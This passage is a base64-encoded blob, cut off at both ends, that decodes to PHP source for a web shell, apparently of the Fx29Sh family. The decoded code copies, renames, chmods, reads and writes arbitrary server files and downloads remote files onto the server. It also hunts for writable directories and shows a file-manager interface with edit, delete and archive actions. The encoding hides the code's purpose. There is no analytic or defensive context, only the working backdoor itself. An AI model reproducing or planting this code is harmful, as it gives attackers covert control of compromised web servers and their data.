h0KXskcm93cz1jb3VudChleHBsb2RlKCJcbiIsJHJldCkpKzEgO2lmKCRyb3dzPDEwICl7JHJvd3M9MTAgO31lbHNlIHskcm93cz0zMCA7fSRjb2xzPTEyNSA7ZWNobyAiPHRleHRhcmVhIGNsYXNzPVwic2hlbGxcIiBjb2xzPVwiJGNvbHNcIiByb3dzPVwiJHJvd3NcIiByZWFkb25seT4iLmh0bWxzcGVjaWFsY2hhcnMoJHJldCkuIjwvdGV4dGFyZWE+XG4iO31lbHNlIHtlY2hvICRyZXQuIjxicj4iO31AY2hkaXIoJG9sZGRpcik7fX1pZigkYWN0PT0icGhwZnN5cyIpe2VjaG8gIjxkaXYgYWxpZ249bGVmdD4iOyRmc2Z1bmM9JHBocGZzeXNmdW5jO2lmKCRmc2Z1bmM9PSJjb3B5Iil7aWYoIWNvcHkoJGFyZzEsJGFyZzIpKXtlY2hvICJGYWlsZWQgdG8gY29weSAkYXJnMS4uLlxuIjt9ZWxzZSB7ZWNobyAiPGI+U3VjY2VzcyE8L2I+ICRhcmcxIGNvcGllZCB0byAkYXJnMlxuIjt9fWVsc2VpZigkZnNmdW5jPT0icmVuYW1lIil7aWYoIXJlbmFtZSgkYXJnMSwkYXJnMikpe2VjaG8gIkZhaWxlZCB0byByZW5hbWUvbW92ZSAkYXJnMSFcbiI7fWVsc2Uge2VjaG8gIjxiPlN1Y2Nlc3MhPC9iPiAkYXJnMSByZW5hbWVkL21vdmVkIHRvICRhcmcyXG4iO319ZWxzZWlmKCRmc2Z1bmM9PSJjaG1vZCIpe2lmKCFjaG1vZCgkYXJnMSwkYXJnMikpe2VjaG8gIkZhaWxlZCB0byBjaG1vZCAkYXJnMSFcbiI7fWVsc2Uge2VjaG8gIjxiPlBlcm0gZm9yICRhcmcxIGNoYW5nZWQgdG8gJGFyZzIhPC9iPlxuIjt9fWVsc2VpZigkZnNmdW5jPT0icmVhZCIpeyRkYXJnPSRkLiRhcmcxO2lmKCRoYXNpbD1AZmlsZV9nZXRfY29udGVudHMoJGRhcmcpKXtlY2hvICI8Yj5GaWxlbmFtZTo8L2I+ICIuJGRhcmcuIjxicj4iO2VjaG8gIjxjZW50ZXI+PHRleHRhcmVhIGNvbHM9MTI1IHJvd3M9MzA+IjtlY2hvIGh0bWxlbnRpdGllcygkaGFzaWwpO2VjaG8gIjwvdGV4dGFyZWE+PC9jZW50ZXI+XG4iO31lbHNlIHtkaXNwX2Vycm9yKCJDb3VsZG4ndCBvcGVuICRkYXJnIik7fX1lbHNlaWYoJGZzZnVuYz09IndyaXRlIil7JGRhcmc9JGQuJGFyZzE7aWYoQGZpbGVfcHV0X2NvbnRlbnRzKCRkYXJnLCRhcmcyKSl7ZWNobyAiPGI+U2F2ZWQhPC9iPiAiLiRkYXJnO31lbHNlIHtkaXNwX2Vycm9yKCJDYW4ndCB3cml0ZSB0byAkZGFyZyEiKTt9fWVsc2VpZigkZnNmdW5jPT0iZG93bmxvYWRiaW4iKXskaGFuZGxlPWZvcGVuKCRhcmcxLCJyYiIpOyRjb250ZW50cz0nJzt3aGlsZSghZmVvZigkaGFuZGxlKSl7JGNvbnRlbnRzLj1mcmVhZCgkaGFuZGxlLDgxOTIgKTt9JHI9QGZvcGVuKCRkLiRhcmcyLCd3Jyk7aWYoZndyaXRlKCRyLCRjb250ZW50cykpe2VjaG8gIjxiPlN1Y2Nlc3MhPC9iPiAkYXJnMSBzYXZlZCB0byAiLiRkLiRhcmcyLiIgKCIudmlld19zaXplKGZpbGVzaXplKCRkLiRhcmcyKSkuIikiO31lbHNlIHtkaXNwX2Vycm9yKCJDYW4ndCB3cml0ZSB0byAiLiRkLiRhcmcyLiIhIik7fWZjbG9zZSgkcik7ZmNsb3NlKCRoYW5kbGUpO31lbHNlaWYoJGZzZnVuYz09ImRvd25sb2FkIil7JHRleHQ9aW1wbG9kZSgnJyxmaWxlKCRhcmcxKSk7aWYoJHRleHQpeyRyPUBmb3BlbigkZC4kYXJnMiwndycpO2lmKGZ3cml0ZSgkciwkdGV4dCkpe2VjaG8gIjxiPlN1Y2Nlc3MhPC9iPiAkYXJnMSBzYXZlZCB0byAiLiRkLiRhcmcyLiIgKCIudmlld19zaXplKGZpbGVzaXplKCRkLiRhcmcyKSkuIikiO31lbHNlIHtkaXNwX2Vycm9yKCJDYW4ndCB3cml0ZSB0byAiLiRkLiRhcmcyLiIhIik7fWZjbG9zZSgkcik7fWVsc2Uge2Rpc3BfZXJyb3IoIkNhbid0IGRvd25sb2FkIGZyb20gJGFyZzEhIik7fX1lbHNlaWYoJGZzZnVuYz09J21rZGlyJyl7JHRoZWRpcj0kZC4kYXJnMTtpZigkdGhlZGlyIT0kZCl7aWYoZmlsZV9leGlzdHMoJHRoZWRpcikpe2VjaG8gIjxiPkFscmVhZHkgZXhpc3RzOjwvYj4gIi5odG1sc3BlY2lhbGNoYXJzKCR0aGVkaXIpO31lbHNlaWYoIW1rZGlyKCR0aGVkaXIpKXtlY2hvICI8Yj5BY2Nlc3MgZGVuaWVkOjwvYj4gIi5odG1sc3BlY2lhbGNoYXJzKCR0aGVkaXIpO31lbHNlIHtlY2hvICI8Yj5EaXIgY3JlYXRlZDo8L2I+ICIuaHRtbHNwZWNpYWxjaGFycygkdGhlZGlyKTt9fWVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBjdXJyZW50IGRpcjo8Yj4gJHRoZWRpcjwvYj4iO319ZWxzZWlmKCRmc2Z1bmM9PSdmd3JpdGFibGVkaXInKXtmdW5jdGlvbiByZWN1cnNlX2RpcigkZGlyLCRtYXhfZGlyKXtnbG9iYWwgJGRpcl9jb3VudDskZGlyX2NvdW50Kys7aWYoJGNkaXI9ZGlyKCRkaXIpKXt3aGlsZSgkZW50cnk9JGNkaXItPnJlYWQoKSl7aWYoJGVudHJ5IT0nLicgJiYgJGVudHJ5IT0nLi4nKXtpZihpc19kaXIoJGRpci4kZW50cnkpICYmIGlzX3dyaXRhYmxlKCRkaXIuJGVudHJ5KSl7aWYoJGRpcl9jb3VudD4kbWF4X2Rpcil7cmV0dXJuIDt9ZWNobyAiWyIuJGRpcl9jb3VudC4iXSAiLiRkaXIuJGVudHJ5LiJcbiI7cmVjdXJzZV9kaXIoJGRpci4kZW50cnkuRElSRUNUT1JZX1NFUEFSQVRPUiwkbWF4X2Rpcik7fX19JGNkaXItPmNsb3NlKCk7fX1pZighJGFyZzEpeyRhcmcxPSRkO31pZighJGFyZzIpeyRhcmcyPTEwIDt9aWYoaXNfZGlyKCRhcmcxKSl7ZWNobyAiPGI+V3JpdGFibGUgZGlyZWN0b3JpZXMgKE1heDogJGFyZzIpIGluOjwvYj4gJGFyZzE8aHIgbm9zaGFkZSBzaXplPTE+IjtlY2hvICI8cHJlPiI7cmVjdXJzZV9kaXIoJGFyZzEsJGFyZzIpO2VjaG8gIjwvcHJlPiI7JHRvdGFsPSRkaXJfY291bnQtMSA7ZWNobyAiPGhyIG5vc2hhZGUgc2l6ZT0xPjxiPkZvdW5kczo8L2I+ICIuJHRvdGFsLiIgb2YgPGI+TWF4PC9iPiAkYXJnMiI7fWVsc2Uge2Rpc3BfZXJyb3IoIkRpcmVjdG9yeSBpcyBub3QgZXhpc3RzIG9yIHBlcm1pc3Npb24gZGVuaWVkISIpO319ZWxzZSB7aWYoISRhcmcxKXtkaXNwX2Vycm9yKCJObyBvcGVyYXRpb24hIFBsZWFzZSBmaWxsIDFzdCBwYXJhbWV0ZXIhIik7fWVsc2Uge2lmKCRoYXNpbD0kZnNmdW5jKCRhcmcxKSl7ZWNobyAiPGI+UmVzdWx0IG9mICRmc2Z1bmMgJGFyZzE6PC9iPjxicj4iO2lmKCFpc19hcnJheSgkaGFzaWwpKXtlY2hvICIkaGFzaWxcbiI7fWVsc2Uge2VjaG8gIjxwcmU+Ijtmb3JlYWNoKCRoYXNpbCBhcyAkdil7ZWNobyAkdi4iXG4iO31lY2hvICI8L3ByZT4iO319ZWxzZSB7ZGlzcF9lcnJvcigiJGZzZnVuYyAkYXJnMSBmYWlsZWQhIik7fX19ZWNobyAiPC9kaXY+XG4iO31pZigkYWN0PT0ibHMiKXtpZihjb3VudCgkbHNfYXJyKT4wICl7JGxpc3Q9JGxzX2Fycjt9ZWxzZSB7JGxpc3Q9YXJyYXkoKTtpZigkaD1Ab3BlbmRpcigkZCkpe3doaWxlKCgkbz1yZWFkZGlyKCRoKSkhPT1GQUxTRSl7JGxpc3RbXT0kZC4kbzt9Y2xvc2VkaXIoJGgpO319aWYoY291bnQoJGxpc3QpPT0wICl7ZGlzcF9lcnJvcigiTm8gc3VjaCBkaXJlY3Rvcnkgb3IgYWNjZXNzIGRlbmllZCE8YnI+Ii5odG1sc3BlY2lhbGNoYXJzKCRkKSk7fWVsc2UgeyRvYmplY3RzPWFycmF5KCk7JHZkPSJmIjtpZigkdmQ9PSJmIil7JG9iamVjdHNbImhlYWQiXT1hcnJheSgpOyRvYmplY3RzWyJmb2xkZXJzIl09YXJyYXkoKTskb2JqZWN0c1sibGlua3MiXT1hcnJheSgpOyRvYmplY3RzWyJmaWxlcyJdPWFycmF5KCk7Zm9yZWFjaCgkbGlzdCBhcyAkdil7JG89YmFzZW5hbWUoJHYpOyRyb3c9YXJyYXkoKTtpZigkbz09Ii4iKXskcm93W109JGQuJG87JHJvd1tdPSJDVVJESVIiO31lbHNlaWYoJG89PSIuLiIpeyRyb3dbXT0kZC4kbzskcm93W109IkRJUiI7fWVsc2VpZihpc19kaXIoJHYpKXtpZihpc19saW5rKCR2KSl7JHR5cGU9IkxJTksiO31lbHNlIHskdHlwZT0iRElSIjt9JHJvd1tdPSR2OyRyb3dbXT0kdHlwZTt9ZWxzZWlmKGlzX2ZpbGUoJHYpKXskcm93W109JHY7JHJvd1tdPWZpbGVzaXplKCR2KTt9JHJvd1tdPWZpbGVtdGltZSgkdik7aWYoIWlzX3dpbmRvd3MoKSl7JG93PXBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkdikpOyRncj1wb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJHYpKTskcm93W109KCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkdikpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCR2KSk7fSRyb3dbXT1maWxlcGVybXMoJHYpO2lmKCgkbz09Ii4iKSBvciAoJG89PSIuLiIpKXskb2JqZWN0c1siaGVhZCJdW109JHJvdzt9ZWxzZWlmKGlzX2xpbmsoJHYpKXskb2JqZWN0c1sibGlua3MiXVtdPSRyb3c7fWVsc2VpZihpc19kaXIoJHYpKXskb2JqZWN0c1siZm9sZGVycyJdW109JHJvdzt9ZWxzZWlmKGlzX2ZpbGUoJHYpKXskb2JqZWN0c1siZmlsZXMiXVtdPSRyb3c7fSRpKys7fSRyb3c9YXJyYXkoKTskcm93W109IjxiPk5hbWU8L2I+Ijskcm93W109IjxiPlNpemU8L2I+Ijskcm93W109IjxiPkRhdGUgTW9kaWZpZWQ8L2I+IjtpZighaXNfd2luZG93cygpKXskcm93W109IjxiPk93bmVyL0dyb3VwPC9iPiI7fSRyb3dbXT0iPGI+UGVybXM8L2I+Ijskcm93W109IjxiPkFjdGlvbjwvYj4iOyRwYXJzZXNvcnQ9cGFyc2Vzb3J0KCRzb3J0KTskc29ydD0kcGFyc2Vzb3J0WzAgXS4kcGFyc2Vzb3J0WzEgXTskaz0kcGFyc2Vzb3J0WzAgXTtpZigkcGFyc2Vzb3J0WzEgXSE9ImEiKXskcGFyc2Vzb3J0WzEgXT0iZCI7fSR5PSIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnNvcnQ9Ii4kay4oJHBhcnNlc29ydFsxIF09PSJhIj8iZCI6ImEiKS4iXCI+IjskeS49IjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF8iLigkc29ydFsxIF09PSJhIj8iYXNjIjoiZGVzYyIpLiJcIiBhbHQ9XCIiLigkcGFyc2Vzb3J0WzEgXT09ImEiPyJBc2MiOiJEZXNjIikuIlwiPjwvYT4iOyRyb3dbJGtdLj0keTtmb3IoJGk9MCA7JGk8Y291bnQoJHJvdyktMSA7JGkrKyl7aWYoJGkhPSRrKXskcm93WyRpXT0iPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnNvcnQ9Ii4kaS4kcGFyc2Vzb3J0WzEgXS4iXCI+Ii4kcm93WyRpXS4iPC9hPiI7fX0kdj0kcGFyc2Vzb3J0WzAgXTt1c29ydCgkb2JqZWN0c1siZm9sZGVycyJdLCJ0YWJzb3J0Iik7dXNvcnQoJG9iamVjdHNbImxpbmtzIl0sInRhYnNvcnQiKTt1c29ydCgkb2JqZWN0c1siZmlsZXMiXSwidGFic29ydCIpO2lmKCRwYXJzZXNvcnRbMSBdPT0iZCIpeyRvYmplY3RzWyJmb2xkZXJzIl09YXJyYXlfcmV2ZXJzZSgkb2JqZWN0c1siZm9sZGVycyJdKTskb2JqZWN0c1siZmlsZXMiXT1hcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmaWxlcyJdKTt9JG9iamVjdHM9YXJyYXlfbWVyZ2UoJG9iamVjdHNbImhlYWQiXSwkb2JqZWN0c1siZm9sZGVycyJdLCRvYmplY3RzWyJsaW5rcyJdLCRvYmplY3RzWyJmaWxlcyJdKTskdGFiPWFycmF5KCk7JHRhYlsiY29scyJdPWFycmF5KCRyb3cpOyR0YWJbImhlYWQiXT1hcnJheSgpOyR0YWJbImZvbGRlcnMiXT1hcnJheSgpOyR0YWJbImxpbmtzIl09YXJyYXkoKTskdGFiWyJmaWxlcyJdPWFycmF5KCk7JGk9MCA7Zm9yZWFjaCgkb2JqZWN0cyBhcyAkYSl7JHY9JGFbMCBdOyRvPWJhc2VuYW1lKCR2KTskZGlyPWRpcm5hbWUoJHYpO2lmKCRkaXNwX2Z1bGxwYXRoKXskZGlzcHBhdGg9JHY7fWVsc2UgeyRkaXNwcGF0aD0kbzt9JGRpc3BwYXRoPXN0cjJtaW5pKCRkaXNwcGF0aCw2MCApO2lmKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImN1dCJdKSl7JGRpc3BwYXRoPSI8c3RyaWtlPiIuJGRpc3BwYXRoLiI8L3N0cmlrZT4iO31lbHNlaWYoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY29weSJdKSl7JGRpc3BwYXRoPSI8dT4iLiRkaXNwcGF0aC4iPC91PiI7fWZvcmVhY2goJHJlZ3hwX2hpZ2hsaWdodCBhcyAkcil7aWYoZXJlZygkclswIF0sc3RydG9sb3dlcigkbykpKXtpZigoIWlzX251bWVyaWMoJHJbMSBdKSkgb3IgKCRyWzEgXT4zICkpeyRyWzEgXT0wIDtAb2JfY2xlYW4oKTtkaXNwX2Vycm9yKCJXYXJuaW5nISBDb25maWd1cmF0aW9uIGVycm9yIGluIFwkcmVneHBfaGlnaGxpZ2h0WyIuJGsuIl1bMF0gLSB1bmtub3duIGNvbW1hbmQuIik7ZngyOXNoZXhpdCgpO31lbHNlIHskclsxIF09cm91bmQoJHJbMSBdKTskaXNkaXI9aXNfZGlyKCR2KTtpZigoJHJbMSBdPT0wICkgb3IgKCgkclsxIF09PTEgKSBhbmQgISRpc2Rpcikgb3IgKCgkclsxIF09PTIgKSBhbmQgISRpc2Rpcikpe2lmKGVtcHR5KCRyWzIgXSkpeyRyWzIgXT0iPGI+IjskclszIF09IjwvYj4iO30kZGlzcHBhdGg9JHJbMiBdLiRkaXNwcGF0aC4kclszIF07aWYoaXNzZXQoJHJbNCBdKSl7YnJlYWs7fX19fX0kdW89dXJsZW5jb2RlKCRvKTskdWQ9dXJsZW5jb2RlKCRkaXIpOyR1dj11cmxlbmNvZGUoJHYpOyRyb3c9YXJyYXkoKTtpZigkbz09Ii4iKXskcm93W109IjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNtYWxsX2RpclwiIGFsdD1cIlwiPiAiLiRvLiI8L2E+Ijskcm93W109IkNVUkRJUiI7fWVsc2VpZigkbz09Ii4uIil7JHJvd1tdPSI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUocmVhbHBhdGgoJGQuJG8pKS4iJnNvcnQ9Ii4kc29ydC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfbG5rXCIgYWx0PVwiXCI+ICIuJG8uIjwvYT4iOyRyb3dbXT0iVVBESVIiO31lbHNlaWYoaXNfZGlyKCR2KSl7aWYoaXNfbGluaygkdikpeyRkaXNwcGF0aC49IiA9PiAiLnJlYWRsaW5rKCR2KTskdHlwZT0iTE5LIjskcm93W109IjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfbG5rXCIgYWx0PVwiXCI+IFsiLiRkaXNwcGF0aC4iXTwvYT4iO31lbHNlIHskdHlwZT0iRElSIjskcm93W109IjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zbWFsbF9kaXJcIiBhbHQ9XCJcIj4gWyIuJGRpc3BwYXRoLiJdPC9hPiI7fSRyb3dbXT0kdHlwZTt9ZWxzZWlmKGlzX2ZpbGUoJHYpKXskZXh0PWV4cGxvZGUoIi4iLCRvKTskYz1jb3VudCgkZXh0KS0xIDskZXh0PSRleHRbJGNdOyRleHQ9c3RydG9sb3dlcigkZXh0KTskcm93W109IjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfIi4kZXh0LiJcIiBhbHQ9XCJcIj4gIi4kZGlzcHBhdGguIjwvYT4iOyRyb3dbXT12aWV3X3NpemUoJGFbMSBdKTt9JHJvd1tdPUBkYXRlKCJkLm0uWSBIOmk6cyIsJGFbMiBdKTtpZighaXNfd2luZG93cygpKXskcm93W109JGFbMyBdO30kcm93W109IjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Y2htb2QmZj0iLiR1by4iJmQ9Ii4kdWQuIlwiPjxiPiIudmlld19wZXJtc19jb2xvcigkdikuIjwvYj48L2E+IjtpZigkbz09Ii4iKXskY2hlY2tib3g9IjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYWN0Ym94W11cIiBvbmNsaWNrPVwibHNfcmV2ZXJzZV9hbGwoKTtcIj4iOyRpLS07fWVsc2UgeyRjaGVja2JveD0iPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIGlkPVwiYWN0Ym94Ii4kaS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIj4iO31pZihpc19kaXIoJHYpKXskcm93W109IiRjaGVja2JveCA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWQmZD0iLiR1di4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZGl6XCIgYWx0PVwiSW5mb1wiPjwvYT4gIjt9ZWxzZSB7JHJvd1tdPSIkY2hlY2tib3ggIi4iPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii4kdW8uIiZmdD1pbmZvJmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2RpelwiIGFsdD1cIkluZm9cIj48L2E+ICIuIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9ZWRpdCZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkVkaXRcIj48L2E+ICIuIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9ZG93bmxvYWQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1kb3dubG9hZFwiIGFsdD1cIkRvd25sb2FkXCI+PC9hPiI7fWlmKCgkbz09Ii4iKSBvciAoJG89PSIuLiIpKXskdGFiWyJoZWFkIl1bXT0kcm93O31lbHNlaWYoaXNfbGluaygkdikpeyR0YWJbImxpbmtzIl1bXT0kcm93O31lbHNlaWYoaXNfZGlyKCR2KSl7JHRhYlsiZm9sZGVycyJdW109JHJvdzt9ZWxzZWlmKGlzX2ZpbGUoJHYpKXskdGFiWyJmaWxlcyJdW109JHJvdzt9JGkrKzt9fWVjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPi46ICI7aWYoIWVtcHR5KCRmeF9pbmZvaGVhZCkpe2VjaG8gJGZ4X2luZm9oZWFkO31lbHNlIHtlY2hvICJEaXJlY3RvcnkgTGlzdCAoIi5jb3VudCgkdGFiWyJmaWxlcyJdKS4iIGZpbGVzIGFuZCAiLihjb3VudCgkdGFiWyJmb2xkZXJzIl0pK2NvdW50KCR0YWJbImxpbmtzIl0pKS4iIGZvbGRlcnMpIjt9ZWNobyAiIDouPC9kaXY+XG5cbiI7ZWNobyAiPGZvcm0gbmFtZT1cImxzX2Zvcm1cIiBhY3Rpb249XCIkc3VybFwiIG1ldGhvZD1cInBvc3RcIj5cbiIuIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1cIiRkc3BhY3RcIj5cbiIuIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9XCIkZFwiPlxuIjsgPz4NCjx0YWJsZSBjbGFzcz0iZXhwbG9yZXIiPg0KPD8gJHRhYmxlPWFycmF5X21lcmdlKCR0YWJbImNvbHMiXSwkdGFiWyJoZWFkIl0sJHRhYlsiZm9sZGVycyJdLCR0YWJbImxpbmtzIl0sJHRhYlsiZmlsZXMiXSk7Zm9yZWFjaCgkdGFibGUgYXMgJHJvdyl7ZWNobyAiXHQ8dHI+Ijtmb3JlYWNoKCRyb3cgYXMgJHYpe2VjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7fWVjaG8gIjwvdHI+XG4iO30gPz4NCjwvdGFibGU+DQoNCjxkaXYgYWxpZ249InJpZ2h0Ij4NCg0KCTxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KCWZ1bmN0aW9uIGxzX3NldGNoZWNrYm94YWxsKHN0YXR1cykgew0KCSAgdmFyIGlkID0gMTsgdmFyIG51bSA9IDw/IGVjaG8gKGNvdW50KCR0YWJsZSktMiApOyA/PjsNCgkgIHdoaWxlIChpZCA8PSBudW0pIHsNCgkgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQgPSBzdGF0dXM7IGlkKys7DQoJICB9DQoJfQ0KCWZ1bmN0aW9uIGxzX3JldmVyc2VfYWxsKCkgew0KCSAgdmFyIGlkID0gMTsgdmFyIG51bSA9IDw/IGVjaG8gKGNvdW50KCR0YWJsZSktMiApOyA/PjsNCgkgIHdoaWxlIChpZCA8PSBudW0pIHsNCgkgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQgPSAhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQ7IGlkKys7DQoJICB9DQoJfQ0KCTwvc2NyaXB0Pg0KDQoJPGlucHV0IHR5cGU9ImJ1dHRvbiIgb25jbGljaz0ibHNfc2V0Y2hlY2tib3hhbGwodHJ1ZSk7IiB2YWx1ZT0iQ2hlY2sgYWxsIj4NCgk8aW5wdXQgdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJsc19zZXRjaGVja2JveGFsbChmYWxzZSk7IiB2YWx1ZT0iVW5jaGVjayBhbGwiPg0KPD8gaWYoY291bnQoYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKSk+MCApe2VjaG8gIlx0PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiYWN0YXJjYnVmZlwiIHZhbHVlPVwiQXJjaGl2ZSBpdCFcIj4iLiJcdDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJhY3RhcmNidWZmX3BhdGhcIiB2YWx1ZT1cImZ4X2FyY2hpdmVfIi5zdWJzdHIobWQ1KHJhbmQoMSAsMTAwMCApLnJhbmQoMSAsMTAwMCApKSwwICw1ICkuIi50YXIuZ3pcIj5cbiIuIlx0PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiYWN0cGFzdGVidWZmXCIgdmFsdWU9XCJQYXN0ZVwiPlxuIi4iXHQ8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJhY3RlbXB0eWJ1ZmZcIiB2YWx1ZT1cIkVtcHR5IGJ1ZmZlclwiPiI7fWVjaG8gIlxuXHQiLiI8c2VsZWN0IG5hbWU9YWN0PlxuIi4iXHRcdDxvcHRpb24gdmFsdWU9XCIiLiRhY3QuIlwiPldpdGggY2hlY2tlZDo8L29wdGlvbj5cbiI7JGZfYWN0cz1hcnJheSgiZGVsZXRlIiwiY2htb2QiLCJjdXQiLCJjb3B5IiwidW5zZWxlY3QiKTtmb3JlYWNoKCRmX2FjdHMgYXMgJGYxKXtlY2hvICJcdFx0PG9wdGlvbiB2YWx1ZT1cIiRmMVwiIi4oJGRzcGFjdD09IiRmMSI/IiBzZWxlY3RlZCI6IiIpLiI+JGYxPC9vcHRpb24+XG4iO30gPz4NCgk8L3NlbGVjdD4NCg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDb25maXJtIj4NCg0KPC9kaXY+DQo8L2Zvcm0+DQo8PyB9fWlmKCRhY3Q9PSJmIil7ZWNobyAiPGRpdiBhbGlnbj1sZWZ0PiI7aWYoIWlzc2V0KCRmdCkpeyRmdD0iIjt9aWYoIWlzc2V0KCRuZXd3aW4pKXskbmV3d2luPSIiO31pZigoIWlzX3JlYWRhYmxlKCRkLiRmKSBvciBpc19kaXIoJGQuJGYpKSBhbmQgJGZ0IT0iZWRpdCIpe2lmKGZpbGVfZXhpc3RzKCRkLiRmKSl7ZGlzcF9lcnJvcigiQWNjZXNzIGRlbmllZCE8YnI+Ii5odG1sc3BlY2lhbGNoYXJzKCRkLiRmKSk7fWVsc2Uge2Rpc3BfZXJyb3IoIkZpbGUgZG9lc24ndCBleGlzdHM6ICIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIjxicj5cbiIuIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWVkaXQmZD0iLnVybGVuY29kZSgkZCkuIiZjPTFcIj48dT5DcmVhdGU8L3U+PC9hPiIpO319ZWxzZSB7JHI9QGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTskZXh0PWV4cGxvZGUoIi4iLCRmKTskYz1jb3VudCgkZXh0KS0xIDskZXh0PSRleHRbJGNdOyRleHQ9c3RydG9sb3dlcigkZXh0KTskcmZ0PSIiO2ZvcmVhY2goJGZ0eXBlcyBhcyAkaz0+JHYpe2lmKGluX2FycmF5KCRleHQsJHYpKXskcmZ0PSRrO2JyZWFrO319aWYoZXJlZ2koInNlc3NfKC4qKSIsJGYpKXskcmZ0PSJwaHBzZXNzIjt9aWYoZW1wdHkoJGZ0KSl7JGZ0PSRyZnQ7fSRhcnI9YXJyYXkoYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2RpelwiIGFsdD1cIkluZm9cIj4iLCJpbmZvIiksYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2h0bWxcIiBhbHQ9XCJodG1sXCI+IiwiaHRtbCIpLGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF90eHRcIiBhbHQ9XCJ0eHRcIj4iLCJ0eHQiKSxhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfaW5pXCIgYWx0PVwiaW5pXCI+IiwiaW5pIiksYXJyYXkoIkNvZGUiLCJjb2RlIiksYXJyYXkoIlNlc3Npb24iLCJwaHBzZXNzIiksYXJyYXkoIlNEQiIsInNkYiIpLGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9leGVcIiBhbHQ9XCJleGVcIj4iLCJleGUiKSxhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZ2lmXCIgYWx0PVwiaW1nXCI+IiwiaW1nIiksYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X3J0ZlwiIGFsdD1cIk5vdG